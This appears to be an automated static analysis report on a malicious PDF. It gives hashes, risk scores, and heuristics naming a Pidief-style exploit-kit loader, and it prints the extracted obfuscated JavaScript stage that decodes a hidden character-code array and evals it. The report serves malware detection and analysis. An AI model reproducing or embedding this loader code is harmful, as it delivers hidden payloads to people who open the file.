Malicious PDF — malware analysis report

Static analysis result for SHA-256 3217f59180e5ea37…

MALICIOUS

PDF

44.4 KB First seen: 2013-09-08
MD5: 6c02aa58437b94bb5ed603e585a9e911 SHA-1: 80a181b3e8da5f55174ec4f59a3b1c80d069d5b5 SHA-256: 3217f59180e5ea37ac16488f83211c5f9f9ecfa5a7eff8e636f5f79da1597742
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF02 448 bytes
SHA-256: d82f5948b0270b579d1452fbdad6e7599b456989b70212183f4f7181fc50612a
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
gqbg='';
jld=('qwrwqr','tit');
e('ltiek=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
zre=e('String.fr'+ltiek.substr(0,10));
ywsik = e(ltiek.substr(10)['replace'](/u/g,','));
e('k=ywsik.length');
for (i = 0; i < k; i+=2) {
	ebn = ywsik[i+1] + ('erybjkerl',ywsik[i]);
	gqbg += zre(ebn);
}
e(gqbg);

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